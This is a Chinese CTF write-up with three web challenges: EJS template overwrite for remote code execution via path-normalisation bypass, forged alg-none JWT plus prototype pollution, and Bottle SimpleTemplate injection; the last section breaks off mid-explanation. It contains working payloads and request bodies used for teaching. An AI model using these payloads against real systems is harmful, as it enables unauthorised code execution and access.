package.jsonpackage-lock.json 主要是告诉我们这个 Node.js 项目用了哪些依赖,比如 Express、EJS,一般先看一眼即可,不是主要漏洞点。

App.js:

先来补充点前置知识:

  1. Node.js
    Node.js 可以简单理解成用 JavaScript 写后端服务器。
    平时见到的 JavaScript 多数是在浏览器里跑,比如按钮点击、页面交互。但 Node.js 是让 JavaScript 跑在服务器上,比如:
    js
    const fs = require('fs');
    fs.readFileSync('/flag');
    

    这就类似 PHP 里面:
    php
    file_get_contents('/flag');
    

    所以这题虽然是 JavaScript 语法,但做题思路还是 Web 源码审计:
    txt
    找路由
    找用户可控参数
    找文件读写
    找模板渲染
    找过滤绕过
    
  2. Express
    Express 可以理解成 Node.js 里的 Flask。
    比如 Flask 里这样写路由:
    python
    @app.route("/")
    def index():
        return "hello"
    

    Express 里大概这样写:
    js
    app.get('/', (req, res) => {
        res.send('hello');
    });
    

    意思都是访问某个路径时,服务器执行对应代码。
    所以在看 Node.js 题目时,优先找这些东西:
    js
    app.get(...)
    app.post(...)
    app.put(...)
    app.use(...)
    app.all(...)
    

    它们就是入口。
  3. views/index.ejs
    views/index.ejs 不是普通 HTML,而是 EJS 模板文件。EJS 可以理解成可以在 HTML 里面嵌入 JavaScript 代码的模板。
    比如普通 HTML:
    html
    <h1>Hello</h1>
    

    EJS 可以写成:
    ejs
    <h1><%= name %></h1>
    

    服务器渲染时,如果传入:
    js
    {name: "yanxi"}
    

    最后网页就会变成:
    html
    <h1>yanxi</h1>
    

    更关键的是,EJS 里面还可以执行 JavaScript 代码:
    js
    <% code %>
    

    常见语法:
    js
    <%= xxx %>    输出 xxx 的结果到页面
    <% xxx %>     执行 JavaScript 代码,但不直接输出
    

    所以如果能控制 .ejs 文件内容,就很有可能拿到 flag 了。
  4. Node.js / Express 的代码运行模型
    Node.js 题目里,看到这种代码:
    js
    const express = require('express');
    const app = express();
    

    可以先简单理解成:
    txt
    express = 一个 Web 框架
    app = 这个网站应用本身
    

    类比 Flask:
    python
    from flask import Flask
    app = Flask(__name__)
    

    类比 PHP 的话,就相当于整个 index.php / 后端入口程序。
    所以后面看到:
    js
    app.use(...)
    app.get(...)
    app.post(...)
    app.put(...)
    

    都可以理解成服务器收到请求后,要执行哪些代码。
    以本题为例,看到源码开头几行:
    js
    const express = require('express');
    const ejs = require('ejs');
    const fs = require('fs');
    const path = require('path');
    
    const app = express();
    app.set('view engine', 'ejs');
    app.use(express.json({
        limit: '114514mb'
    }));
    
    const STATIC_DIR = __dirname;
    
    1. require()
      require() 可以理解成 PHP 里的 require_once,或者 Python 里的 import
      所以:
      js
      const express = require('express');
      const ejs = require('ejs');
      const fs = require('fs');
      const path = require('path');
      

      就代表这里引入了几个模块:
      text
      express   Web 框架,负责路由
      ejs       模板引擎,负责模板渲染
      fs        文件操作模块,负责读写文件
      path      路径处理模块,负责拼接路径
      
    2. app.set('view engine', 'ejs')
      代表设置模板引擎为 EJS。
      也就是说后面如果出现:
      js
      res.render('index')
      

      Express 会默认去找 views/index.ejs
      所以审计时看到 view engine = ejs,可以联想到:
      js
      后面可能有 EJS 模板渲染
      如果能控制 .ejs 文件内容,就可能代码执行
      
    3. app.use(express.json(...))
      js
      app.use(express.json({
          limit: '114514mb'
      }));
      

      这句是一个中间件,作用是:
      txt
      把 JSON 请求体解析到 req.body 里面,并且允许最大 JSON 请求体大小为 114514mb
      

      比如发送:
      http
      PUT /test
      Content-Type: application/json
      
      {"content":"MTIz"}
      

      Express 解析完之后,代码里就能用 req.body.content 拿到 MTIz
      这对后面的文件写入很重要,因为后面有:
      js
      Buffer.from(req.body.content, 'base64')
      
    4. __dirname
      __dirname 是 Node.js 里的内置变量,表示当前 App.js 所在目录。
      比如项目结构是:
      txt
      /app/App.js
      /app/views/index.ejs
      

      那么 __dirname 就是 /app

回到源码,开始分析这题:

  1. 先找路由和入口点
    审 Node.js / Express 题,先找:
    js
    app.get(...)
    app.post(...)
    app.put(...)
    app.use(...)
    app.all(...)
    

    本题关键代码有三个入口:
    js
    app.use((req, res, next) => {
        ...
    })
    
    app.use((req, res, next) => {
        ...
    })
    
    app.put('/*', (req, res) => {
        ...
    });
    

    app.use() 也是入口,因为它没有写具体路径,所以所有请求都会先经过它。
    整体请求流程是这样的:
    txt
    用户发请求
    ↓
    经过 express.json() 解析 JSON
    ↓
    经过第一个 app.use() 做过滤
    ↓
    经过第二个 app.use() 判断是否要渲染目录
    ↓
    如果是 PUT 请求,再进入 app.put('/*') 写文件
    

    Express 的中间件是按代码顺序执行的,即:
    txt
    上面先注册的,先执行
    下面后注册的,后执行
    
    1. 第一段入口:全局过滤中间件
      js
      app.use((req, res, next) => {
          if (typeof req.path !== 'string' || 
                  (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
              ) res.status(500).send('Error');
          else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
          else next();
      })
      

      因为它没有具体路径,所以所有请求都会经过这里。
      1. req、res、next
        js
        (req, res, next) => {
        

        这是 JavaScript 的箭头函数,等价于:
        js
        function(req, res, next) {
        }
        

        req、res、next 是函数参数,不需要提前定义,Express 会自动按顺序传进来:
        js
        req   请求对象 Request
        res   响应对象 Response
        next  放行函数
        

        类比 Flask:
        python
        request    请求信息
        return     返回响应
        

        类比 PHP:
        php
        $_GET / $_POST / $_SERVER    请求信息
        echo / header                返回响应
        

        所以 req.path 不是作者定义的变量,而是 Express 请求对象自带的属性,表示当前请求路径。比如访问:
        http
        GET /views/index.ejs/.?templ=index
        

        Express 会拆成:
        js
        req.path          = /views/index.ejs/.
        req.query.templ   = index
        

        注意:
        txt
        req.path 不包含 ? 后面的参数
        req.query 才是 ? 后面的参数
        
      2. 第一层判断:检查路径和 templ 参数类型
        js
        if (typeof req.path !== 'string' || 
                (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null)
            ) res.status(500).send('Error');
        
        1. 先是检查 req.path
          js
          typeof req.path !== 'string'
          

          typeof

          判断一个值的数据类型,比如字符串、数字、对象、undefined 等。


          req.path 表示当前请求路径。
          所以这段代码说明请求路径得是字符串,否则报错,但正常访问网站时,req.path 基本一定是字符串,不必在意。
        2. 接着检查 req.query.templ
          js
          typeof req.query.templ !== 'string'
          && typeof req.query.templ !== 'undefined'
          && typeof req.query.templ !== null
          

          req.query.templ 是 URL 参数里的 templ
          所以这段代码表明 templ 要么是字符串,要么不传,要么传空值。
      3. 第二层判断:过滤危险路径
        js
        else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
        

        先看正则:
        js
        /js$|\.\./i
        

        拆开:
        txt
        js$      匹配以 js 结尾的字符串
        |        或
        \.\.     匹配两个点 ..
        i        忽略大小写
        

        所以它会拦以 js 结尾和路径里包含 .. 的路径。
      4. next()
        js
        else next();
        

        next() 就是指放行,继续执行后面的中间件或路由。如果没有 next(),请求就卡在这里,不会继续往下走。

      所以第一段中间件整体逻辑是:
      txt
      所有请求进来
      ↓
      检查 req.path 是不是字符串
      ↓
      检查 templ 是不是字符串或未定义
      ↓
      检查路径是不是以 js 结尾,或者包含 ..
      ↓
      不符合就拦截
      ↓
      符合就 next() 放行
      
    2. 第二段入口:目录渲染中间件
      js
      app.use((req, res, next) => {
          if (req.path.endsWith('/')) serveIndex(req, res);
          else next();
      })
      

      endsWith()

      字符串方法,判断字符串是否以某个内容结尾。


      这段代码意思是:
      txt
      如果请求路径以 / 结尾,就执行 serveIndex(req, res)
      如果不是以 / 结尾,就 next() 放行
      
      • 溯源 serveIndex(req, res)
        js
        function serveIndex(req, res) {
            // Useless Check , So It's Easier
        
            var whilePath = ['index'];
            var templ = req.query.templ || 'index';
        
            if (!whilePath.includes(templ)){
                return res.status(403).send('Denied Templ');
            }
        
            var lsPath = path.join(__dirname, req.path);
        
            try {
                res.render(templ, {
                    filenames: fs.readdirSync(lsPath),
                    path: req.path
                });
            } catch (e) {
                res.status(500).send('Error');
            }
        }
        
        1. templ
          js
          var templ = req.query.templ || 'index';
          

          意思是:
          txt
          如果 URL 里传了 templ,就用用户传的 templ
          如果没传,就默认用 index
          
        2. 白名单限制
          js
          var whilePath = ['index'];
          
          if (!whilePath.includes(templ)){
              return res.status(403).send('Denied Templ');
          }
          

          白名单里只有 index,所以 templ 的值只能是 index,因此这里不能通过 templ 随便渲染其他文件。
          最终只能执行:
          js
          res.render('index', ...)
          

          而 Express + EJS 默认会找 views/index.ejs,所以关键是:
          text
          如果能覆盖 views/index.ejs,再访问 /,就会渲染我们写进去的模板。
          
        3. path.join()
          js
          var lsPath = path.join(__dirname, req.path);
          

          path.join()

          Node.js 里 path 模块提供的路径拼接函数,作用是把多个路径片段拼成一个完整路径,并且会顺便对路径做规范化处理。


          比如:
          js
          path.join("/app", "/upload/")
          

          结果就是 /app/upload/
          更关键的是,它会处理路径里的 . ,比如:
          js
          path.join("/app", "/views/index.ejs/.")
          

          结果会被规范化成 /app/views/index.ejs
          然后看这句:
          js
          var lsPath = path.join(__dirname, req.path);
          

          __dirname 是当前项目目录,req.path 是用户访问的路径,所以这句就是根据用户访问的路径拼出一个服务器本地路径。
        4. res.render()
          js
          res.render(templ, {
              filenames: fs.readdirSync(lsPath),
              path: req.path
          });
          

          res.render()

          让 Express 去渲染指定的模板文件,并把渲染后的 HTML 页面返回给用户。


          因为前面设置过:
          js
          app.set('view engine', 'ejs');
          

          所以这里执行:
          js
          res.render('index', ...)
          

          实际上就是去渲染 views/index.ejs
          如果能把 views/index.ejs 覆盖成恶意 EJS 模板,那么服务器下次渲染首页时,就会执行写进去的 JavaScript 代码。
        5. fs.readdirSync()
          js
          filenames: fs.readdirSync(lsPath),
          

          fs.readdirSync()

          Node.js 里 fs 文件模块提供的同步读目录函数,作用是读取某个目录下有哪些文件或文件夹,并把结果以数组形式返回。


          比如:
          js
          fs.readdirSync("/app/views") 
          

          如果 /app/views 目录下有index.ejstest.ejs,那么返回结果就是:
          js
          ["index.ejs", "test.ejs"] 
          

          在本题里:
          js
          filenames: fs.readdirSync(lsPath)
          

          意思就是根据用户访问的路径拼出服务器本地目录,然后读取这个目录下面的文件名列表,再传给 index.ejs 模板。

        总结一下,serveIndex(req, res) 的作用就是:
        当请求路径以 / 结尾时,把这个路径当作服务器上的一个目录,读取该目录下的文件列表,然后固定渲染 views/index.ejs,并把文件列表和当前路径传进模板。
        它的整体流程可以概括成:
        txt
        取 URL 里的 templ 参数
        ↓
        检查 templ 是否在白名单 ['index'] 中
        ↓
        用 path.join(__dirname, req.path) 拼出服务器本地路径
        ↓
        用 fs.readdirSync(lsPath) 读取这个目录下的文件名
        ↓
        用 res.render('index', ...) 渲染 views/index.ejs
        

        所以这一段本身不是上传点,也不是写文件点,它的关键作用是:
        txt
        只要能覆盖 views/index.ejs
        ↓
        再访问一个以 / 结尾的路径
        ↓
        程序就会渲染 index.ejs
        ↓
        从而触发我们写进去的 EJS 代码
        

        因此后面的思路就是想办法覆盖 views/index.ejs,最后再访问 / 来触发模板执行。
    3. 第三段入口:PUT 写文件路由
      js
      app.put('/*', (req, res) => {
          // Why Filepath Not Check ?
          const filePath = path.join(STATIC_DIR, req.path);
      
          fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
              if (err) {
                  return res.status(500).send('Error');
              }
              res.status(201).send('Success');
          });
      });
      

      app.put('/*') 表示所有 PUT 请求都会进入这里。

      PUT 请求

      让服务器在指定位置创建或覆盖一个资源,比如上传/覆盖某个文件。


      这里最关键的是两行:
      js
      const filePath = path.join(STATIC_DIR, req.path);
      fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), ...)
      

      Buffer

      Node.js 里一块用来存放二进制数据的内存区域,常用于处理文件内容、图片、压缩包、网络数据等不是普通字符串的数据。


      所以 req.path 是用户可控的请求路径,req.body.content 是用户可控的 JSON 内容
      所以这段代码的意思是:
      txt
      用户请求哪个路径
      ↓
      程序就把这个路径拼到项目目录下
      ↓
      再把 content 里的 base64 内容解码
      ↓
      写入到对应文件
      

      其实就是一个任意文件写入。
  2. 构造利用链
    目标是覆盖 views/index.ejs,但是如果直接请求:
    http
    PUT /views/index.ejs 
    

    会因为路径以 js 结尾,被第一段中间件拦截:
    js
    /js$|\.\./i.test(req.path) 
    

    可以利用 path.join() 会规范化路径的特点,构造:
    http
    PUT /views/index.ejs/. 
    

    实现绕过。
    同时它不是以 / 结尾,所以不会进入 serveIndex(req, res),而是会继续走到 app.put(),覆盖了真正的模板文件。
    1. 写入恶意 EJS 模板
      EJS 里可以执行 JavaScript 代码,所以写入:
      js
      <%- process.mainModule.require('child_process').execSync('cat /flag').toString() %> 
      

      这里简单拆一下:
      js
      process.mainModule.require('child_process')  引入命令执行模块
      execSync('cat /flag')                        执行 cat /flag
      toString()                                   把命令结果转成字符串
      <%- ... %>                                   把结果输出到页面
      

      上面这段模板内容 base64 后是:
      text
      PCUtIHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2NhdCAvZmxhZycpLnRvU3RyaW5nKCkgJT4=
      

      访问 /views/index.ejs/. 并发送 JSON 格式的 PUT 请求:
      json
      {"content":"PCUtIHByb2Nlc3MubWFpbk1vZHVsZS5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2NhdCAvZmxhZycpLnRvU3RyaW5nKCkgJT4="}
      

      即:
      image-20260510015824446
      返回 Success 就说明模板被覆盖。
    2. 触发模板渲染
      覆盖完成后,再访问首页请求 /,此时会进入第二段中间件:
      js
      if (req.path.endsWith('/')) serveIndex(req, res);
      

      然后执行:
      js
      res.render('index', ...)
      

      此时渲染的已经不是原来的 views/index.ejs,而是刚刚写进去的恶意模板,所以命令会被执行。
      但是返回:
      txt
      cat: /flag: No such file or directory
      

      说明没有 /flag 这个文件,把刚刚的 payload 模板改成:
      js
      <%- process.mainModule.require('child_process').execSync('env').toString() %> 
      

      然后重复一次步骤就行了。
      最终利用链就是:
      txt
      PUT /views/index.ejs/.
      ↓
      绕过 js$ 过滤
      ↓
      path.join() 规范化路径
      ↓
      覆盖 views/index.ejs
      ↓
      GET /
      ↓
      res.render('index')
      ↓
      EJS 执行命令
      ↓
      拿到 flag
      

长夜月

app.js:

这里的部分考点是 JS 原型链污染,补充点前置知识:

  1. 原型
    在 JS 里,每个对象除了自己的属性外,还可以有一个“原型对象”。如果当前对象自己没有某个属性,JS 会去它的原型对象上继续找。
    比如:
    js
    const parent = {
        name: "EverNight"
    };
    const child = Object.create(parent);
    
    console.log(child.name); // EverNight
    

    这里:
    js
    Object.create(parent)
    

    Object.createJS 自带方法,作用是创建一个新对象,并让这个新对象的原型指向 parent
    所以:
    js
    child.name
    

    虽然对象 child 没有 name 属性,但它的原型对象 parent 里有 name 属性,所以能取到。
  2. 原型链
    如果原型对象也没有这个属性,它还会继续往它的原型对象上找,一层一层往上找,这条查找路线就叫原型链
  3. __proto__
    __proto__ 是 JS 对象上的特殊属性,可以用来访问这个对象的原型。
    比如:
    js
    const parent = {
        name: "EverNight"
    };
    const child = Object.create(parent);
    
    console.log(child.__proto__ === parent); // true
    

    child.__proto__ 就是 child 的原型,也就是 parent
  4. 原型链污染
    用户通过可控输入,修改了某个对象的原型,导致其他对象也能继承到被污染的属性,这就是原型链污染。
    比如:
    js
    const CONFIG = {};
    
    const a = Object.create(CONFIG);
    const b = Object.create(CONFIG);
    
    a.__proto__.min_public_time = "2025-08-02";
    
    console.log(b.min_public_time); // 2025-08-02
    

    这里 ab 的原型都指向 CONFIG
    所以修改:
    js
    a.__proto__.min_public_time
    

    本质上就是修改:
    js
    CONFIG.min_public_time
    

    于是 b 也能通过原型链读到这个属性,这就是原型链污染。

回到好长的源码,慢慢审计吧:

  1. 先找路由
    源码里主要有很多路由,去掉各种用 res.render() 渲染页面的不重要的路由,还剩这些路由:
    • /login 登录路由
    • /register 注册路由
    • /admin_club1st 管理员路由

    最重要的很明显是 /admin_club1st 管理员路由,定位到:
    js
    app.post('/admin_club1st', Admin_Check, (req, res) => {
        let body = req.body;
        let evernight = Object.create(CONFIG);
        let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time;
        merge(evernight, body);
        let en = Object.create(CONFIG);
    
        if (en.min_public_time < "2025-08-03") {
            return res.render('march7th', { message: FLAG });
        }
    
        return res.render('evernight');
    });
    
    • 但首先:
      js
      app.post('/admin_club1st', Admin_Check, (req, res) => {
      

      说明要访问这个路由,要先通过 Admin_Check() 这个方法。
      所以这里不继续往下审计 /admin_club1st 管理员路由了,绕过 Admin_Check() 方法后再继续审计。

    其次重要的是 /login 登录路由:
    js
    app.post('/login', (req, res) => {
        let username = req.body.username;
        let password = req.body.password;
        let token = req.cookies.token || req.headers.authorization?.split(' ')[1];
    
        if (!users.has(username)) {
            return res.render('login', { message: 'Invalid username or password.' });
        }
    
        if (users.get(username) !== password) {
            return res.render('login', { message: 'Invalid username or password.' });
        }
    
        if (Check(token)) {
            res.redirect('/admin_club1st');
        } else {
            res.redirect('/trailblazer');
        }
    });
    
    1. 定义变量 token
      js
      let token = req.cookies.token || req.headers.authorization?.split(' ')[1];
      

      变量 token 优先取:
      js
      req.cookies.token
      

      也就是浏览器 Cookie 里的 token
      如果 Cookie 里没有 token,就取:
      js
      req.headers.authorization?.split(' ')[1]
      

      这个一般对应请求头:
      js
      Authorization: Bearer xxxxx.yyyyy.zzzzz
      

      执行 "Bearer xxxxx.yyyyy.zzzzz".split(' ') 会得到 ["Bearer", "xxxxx.yyyyy.zzzzz"]
      所以 .split(' ')[1] 取的就是 xxxxx.yyyyy.zzzzz
      中间的 ?. 是为了防止 authorization 不存在时报错。比如没有这个请求头时,普通写法可能报错,而:
      js
      req.headers.authorization?.split(' ')[1]
      

      会直接得到 undefined
      结论:
      这句代码就是先从 Cookie 里找 token,如果没有,再从 Authorization 请求头里取 Bearer token。
    2. 验证账号、密码、Cookie 中的 token 属性
      js
      if (!users.has(username)) {
          return res.render('login', { message: 'Invalid username or password.' });
      }
      
      if (users.get(username) !== password) {
          return res.render('login', { message: 'Invalid username or password.' });
      }
      
      if (Check(token)) {
          res.redirect('/admin_club1st');
      } else {
          res.redirect('/trailblazer');
      }
      

      会依次检查:
      1. 用户传入的 username 是否在 users 这个 Map() 对象中储存
      2. 用户传入的 password 是否与 users 中对应的键值对的键值相等
      3. 自定义方法 check() 检测变量 token 是否合格。

      但实际上这里只需要 check() 方法认证通过就可以跳转到 /admin_club1st 管理员路由。

    最后是 /register 注册路由:
    js
    app.post('/register', (req, res) => {
        let username = req.body.username;
        let password = req.body.password;
        
        if (users.has(username)) {
            return res.render('register', { message: 'Username already exists.' });
        }
        
        users.set(username, password);
        const data = generateJWT(username, password);
        res.cookie('token', data, { httpOnly: false });
        res.redirect('/login');
    });
    

    意思就是:
    1. 检测新注册的 username 是否和原有的重复,没有重复就把新注册的 usernamepassword 的键值对存储到 users 中。
    2. 通过自定义方法 generateJWT() 根据 usernamepassword 创建一个 token 属性塞到 Cookie 里面。
    3. 跳转到 /login 页面。
  2. 绕过 Admin_Check()check() 得到管理员权限
    由于源码中:
    js
    if (!fs.existsSync('p@sswd.txt')) {
        fs.writeFileSync('p@sswd.txt', crypto.randomBytes(16).toString('hex').trim());
    }
    
    users.set('admin', fs.readFileSync('p@sswd.txt').toString())
    

    意思就是 admin 账号会生成一个随机密码,无法得知,不能用账号密码登录,只能想别的方法绕过。
    根据上一步骤得知限制了访问 /admin_club1st 管理员路由的函数主要就是 Admin_Check()check()
    定位到 Admin_Check() 方法:
    js
    function Admin_Check(req, res, next) {
        const token = req.cookies.token || req.headers.authorization?.split(' ')[1];
    
        if (!token) {
            return res.redirect('/login', { message: "Need Login!" });
        }
    
        try {
            const data = jwt.decode(token);
            if (data.username === 'admin') {
                return next();
            } else {
                return res.redirect('/trailblazer');
            }
        } catch (err) {
            return res.redirect('/login');
        }
    }
    

    定位到 check() 方法:
    js
    function Check(token) {
        if (!token) {
            res.redirect('/login');
        }
        const data = jwt.decode(token);
    
        if (data.username === "admin") {
            return true;
        } else {
            return false;
        }
    }
    

    两个函数的核心点相同:
    js
    const data = jwt.decode(token);
    if (data.username === "admin") {
    

    jwt.decode()

    只负责把 JWT 里面的 payload 解码出来。

    它不会校验签名,也不会判断这个 token 是不是服务端用 JWT_SECRET 签出来的。


    正常来说应该用:
    js
    jwt.verify(token, JWT_SECRET)
    

    verify() 才会检查签名是否合法。
    但是这里用了 decode(),所以 JWT_SECRET 虽然写了:
    js
    const JWT_SECRET = crypto.randomBytes(32).toString('hex');
    

    实际上完全没用上它解 JWT,只是用了 JWT_SECRET 生成 JWT。
    因此可以自己伪造一个 payload 里带 admin 的 JWT:
    json
    {
      "username": "admin",
      "password": "1"
    }
    

    组成 token:
    txt
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.
    

    也就是:
    http
    Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.
    

    这样 jwt.decode(token) 解出来的结果里:
    js
    data.username === "admin"
    

    就成立了。
    然后随便注册一个用户 yanxi/123,再把 Cookie 里的 token 改成上面的伪造 token,再访问 /admin_club1st,就可以进入管理员页面。
  3. 继续审计 /admin_club1st 管理员路由源码
    核心代码是:
    js
    let body = req.body;
    let evernight = Object.create(CONFIG);
    let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time;
    merge(evernight, body);    
    let en = Object.create(CONFIG);
    
    if (en.min_public_time < "2025-08-03") {
        return res.render('march7th', {message: FLAG});
    }
    
    1. 自定义变量
      js
      let body = req.body;
      let evernight = Object.create(CONFIG);
      let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time;
      let en = Object.create(CONFIG);
      

      Object.create()

      用来创建一个新对象,并且把传进去的对象作为新对象的原型。

      比如:

      js
      let a = {name: "yanxi"};
      let b = Object.create(a);
      

      此时 b 自己身上没有 name 属性,但是访问 b.name 时,会顺着原型链去找 a.name

      所以结果还是:

      js
      b.name === "yanxi"
      

      定位对象 CONFIG
      js
      const CONFIG = {
          name: "EverNight",
          default_path: "The Remembrance",
          place: "Amphoreus"
      }
      

      定位对象 DEFAULT_CONFIG
      js
      const DEFAULT_CONFIG = {
          name: "EverNight",
          default_path: "The Remembrance",
          place: "Amphoreus",
          min_public_time: "2025-08-03"
      };
      

      所以:
      • 对象 evernight 和对象 en 都是以 CONFIG 为原型创建的新对象。
      • 如果对象 CONFIG 存在 min_public_time 属性,对象 min_public_time 就是对象 CONFIGmin_public_time 属性的值,否则就是对象 DEFAULT_CONFIGmin_public_time 属性的值。
        目前来看,对象 min_public_time 就等于 "2025-08-03"
    2. 自定义方法 merge()
      js
      merge(evernight, body); 
      

      定位 merge()
      js
      function merge(dst, src) {
          if (typeof dst !== "object" || typeof src !== "object") return dst;
          for (let key in src) {
              if (key in src && key in dst) {
                  merge(dst[key], src[key]);
              } else {
                  dst[key] = src[key];
              }
          }
      }
      

      审计一下这个危险函数:
      1. 先看第一句:
        js
        if (typeof dst !== "object" || typeof src !== "object") return dst;
        

        如果 dstsrc 不是对象,就直接返回,说明这个函数只处理对象和对象之间的合并。
      2. 接着是:
        js
        for (let key in src) {
        

        for...in

        用来遍历对象里的可枚举属性。

        比如:

        js
        let a = {name: "yanxi", age: 18};
        for (let key in a) {
        console.log(key);
        }
        

        会依次拿到 nameage

      3. 再看里面的判断:
        js
        if (key in src && key in dst) {
            merge(dst[key], src[key]);
        } else {
            dst[key] = src[key];
        }
        

        in

        JS 自带运算符,判断某个属性能不能在对象或它的原型链上找到。


        如果 key 属性同时存在于对象 src 和对象 dst 中,就继续递归合并:
        js
        merge(dst[key], src[key]);
        

        否则就直接赋值:
        js
        dst[key] = src[key];
        
    3. 返回 flag 的核心判断逻辑
      js
      if (en.min_public_time < "2025-08-03") {
          return res.render('march7th', {message: FLAG});
      }
      

      由于对象 en 不存在 min_public_time 属性,所以 en.min_public_time 实际就相当于 CONFIG.min_public_time
      但实际上对象 CONFIG 也不存在 min_public_time 属性,所以本题的核心就在于为对象 CONFIG 加上 min_public_time 属性,并实现:
      js
      CONFIG.min_public_time < "2025-08-03"
      

      接着代码会返回并渲染 views/march7th.ejs,flag 会被渲染在页面上。
  4. 构造 payload
    根据 merge() 方法,正常情况下,如果传入:
    json
    {"name":"test"}
    

    因为 evernight 里没有 name,所以会执行:
    json
    evernight.name = "test";
    

    这只能修改 evernight 自己,影响不到后面的 en
    但是如果传入:
    json
    {"__proto__":{"min_public_time":"2025-08-02"}}
    

    就会污染原型链上层对象 CONFIG,又因为对象 evernight 和对象 en 是以 CONFIG 为原型创建的新对象,对象 en 将继承被污染后的对象 CONFIG 的新属性 min_public_time

    为什么 2025-08-02 可以和 2025-08-03 比较?

    这两边是同格式的字符串:

    js
    "2025-08-02" < "2025-08-03"
    

    JavaScript 会按字符串字典序比较。

    因为日期格式是 YYYY-MM-DD,所以这种字符串顺序和日期先后顺序刚好一致。


    最终请求包:
    http
    POST /admin_club1st HTTP/1.1
    Host: 靶机地址
    Cookie: token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIn0.
    Content-Type: application/json
    
    {"__proto__":{"min_public_time":"2025-08-02"}}
    

绳网委托Bottle版

一个留言框,虽然题目提示 Bottle 很明显了,大概率是 SSTI 中的 Bottle SimpleTemplate 注入(STPL 注入),补充点前置知识:

  1. Bottle 和 STPL
    Bottle 可以理解成 Python 里的一个轻量级 Web 框架。
    和 Flask 对比:
    txt
    Flask 默认模板引擎:Jinja2
    Bottle 默认模板引擎:SimpleTemplate,也叫 STPL
    

    STPL 的全称是 SimpleTemplate,是 Bottle 自带的模板引擎。
    简单理解:
    python
    from bottle import template
    
    print(template('Hello {{name}}!', name='World'))
    

    输出:
    txt
    Hello World!
    

    这里的:
    python
    {{name}}
    

    就是模板表达式,渲染时会被替换成传入的变量 name
  2. STPL基础语法
    STPL 最常见的是三类语法。
    1. 第一类是:
      python
      {{ 表达式 }}
      

      作用是把表达式执行结果输出到页面,比如:
      python
      from bottle import template
      
      print(template('{{7*7}}'))
      

      输出 49
      再比如:
      python
      from bottle import template
      
      print(template('{{"yanxi".upper()}}'))
      

      输出 YANXI
      所以 STPL 里的 {{...}} 不只是取变量,也可以直接写 Python 表达式。Bottle 官方文档也说了,{{...}} 里可以放任意 Python 表达式,只要这个表达式最后能转成字符串输出即可。
    2. 第二类是:
      python
      % Python代码
      

      作用是执行一行 Python 代码,但不直接输出。
      比如:
      python
      % name = "yanxi"
      Hello {{name}}
      

      渲染结果是 Hello yanxi
      再比如循环:
      python
      <ul>
      % for i in [1, 2, 3]:
        <li>{{i}}</li>
      % end
      </ul>
      

      渲染结果大概是:
      html
      <ul>
        <li>1</li>
        <li>2</li>
        <li>3</li>
      </ul>
      

      这里注意一点:STPL 里的代码块不是靠缩进结束的,而是靠:
      python
      % end
      

      结束。官方文档里也明确说了,STPL 中嵌入 Python 代码时,普通 Python 的缩进规则会被弱化,但是 for / if / while 这种代码块需要显式用 end 关闭。
    3. 第三类是:
      python
      <%
      多行 Python 代码
      %>
      

      作用是写多行 Python 代码。
      比如:
      python
      <%
      name = " yanxi "
      name = name.strip().upper()
      %>
      Hello {{name}}
      

      输出 Hello YANXI
  3. STPL 的转义
    STPL 默认会对 HTML 特殊字符做转义,防止直接 XSS。
    比如:
    python
    from bottle import template
    
    print(template('{{name}}', name='<h1>test</h1>'))
    

    输出类似:
    txt
    &lt;h1&gt;test&lt;/h1&gt;
    

    如果不想转义,可以写:
    python
    {{!name}}
    

    比如:
    python
    from bottle import template
    
    print(template('{{!name}}', name='<h1>test</h1>'))
    

    输出:
    html
    <h1>test</h1>
    
  4. STPL 和 Jinja2 的区别
    STPL 和 Jinja2 很像,都是 Python Web 里的模板引擎,也都可以用:
    python
    {{...}}
    

    输出表达式结果,但是核心区别是:
    txt
    Jinja2 更像“类 Python 的模板语言”
    STPL 更像“直接在模板里写 Python”
    

    Jinja2 常见语法是:
    python
    {{name}}
    {% if name %}
      Hello {{name}}
    {% endif %}
    

    而 STPL 写法是:
    python
    {{name}}
    % if name:
      Hello {{name}}
    % end
    

    也就是说,Jinja2 的语句块用:
    python
    {% ... %}
    

    STPL 的语句块用:
    python
    % ...
    % end
    

    Jinja2 的注释是:
    python
    {# 注释 #}
    

    STPL 里更接近 Python,本质上是把模板编译成 Python 字节码再执行。
    所以 CTF 里可以这样理解:
    txt
    Jinja2 SSTI:
    一般要想办法从模板对象一路找 __globals__、__builtins__、os 等对象。
    
    STPL 注入:
    如果模板内容真的可控,很多时候更直接,因为它本身就接近执行 Python 表达式 / Python 代码。
    

    例如 Jinja2 里常见的是:
    python
    {{url_for.__globals__['os'].popen('id').read()}}
    

    而 STPL 里可能直接尝试:
    python
    {{__import__('os').popen('id').read()}}
    

    或者:
    python
    % import os
    {{os.popen('id').read()}}
    

回到题目页面,还是先走个流程:

  1. 先输入 test 试试水,然后页面上回显了 test
  2. 再输入 <h1>test</h1> 测试一下有没有可能是 XSS,然后页面返回 尖括号h1尖括号test尖括号/h1尖括号。说明浏览器没有把它当成 HTML 标签执行,后端大概率做了 HTML 转义。
  3. 再输入 {{7*7}} 测试一下 SSTI,但返回 我猜你想输入7*7,这大概率是触发 Waf 了,这里是有说法的。

测试一下发现输入 7*7 会返回 我猜你想输入7*7,输入 { 或者 } 会被删掉,且 <> 会被转义。

这里可以用:

python
% 单行 Python 代码

